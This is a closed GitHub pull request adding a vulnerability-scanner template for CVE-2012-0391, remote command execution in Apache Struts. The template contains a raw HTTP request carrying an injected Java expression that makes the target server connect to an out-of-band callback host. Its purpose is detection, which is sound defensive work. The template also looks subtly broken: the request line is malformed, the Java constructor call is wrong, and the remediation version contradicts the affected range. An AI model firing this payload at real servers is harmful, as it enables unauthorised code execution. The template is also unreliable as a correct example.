Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2012-0391 #8388

Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 29 additions & 0 deletions http/cves/2012/CVE-2012-0391.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
id: CVE-2012-0391

info:
name: Apache Struts - Remote Command Execution
author: king-alexander
severity: high
description: |
The ExceptionDelegator component in Apache Struts before 2.2.3.1 permits remote command execution via a crafted parameter value.
impact: |
A user who can trigger the exception handling logic can also execute aribtrary Java code and operating system commands.
remediation: |
Update to Struts 2.3.18 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-0391
- https://www.exploit-db.com/exploits/18329
tags: apache,cve,cve2012,kev,rce

http:
- raw:
- |
GET /Test.action?id='%2b(new+java.net.URLConnection(new+java.net.URL("https://{{interactsh-url}}").openConnection()).connect())%2b' HTTP 1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

matchers:
- type: word
part: interactsh_protocol
words:
- "http"
Loading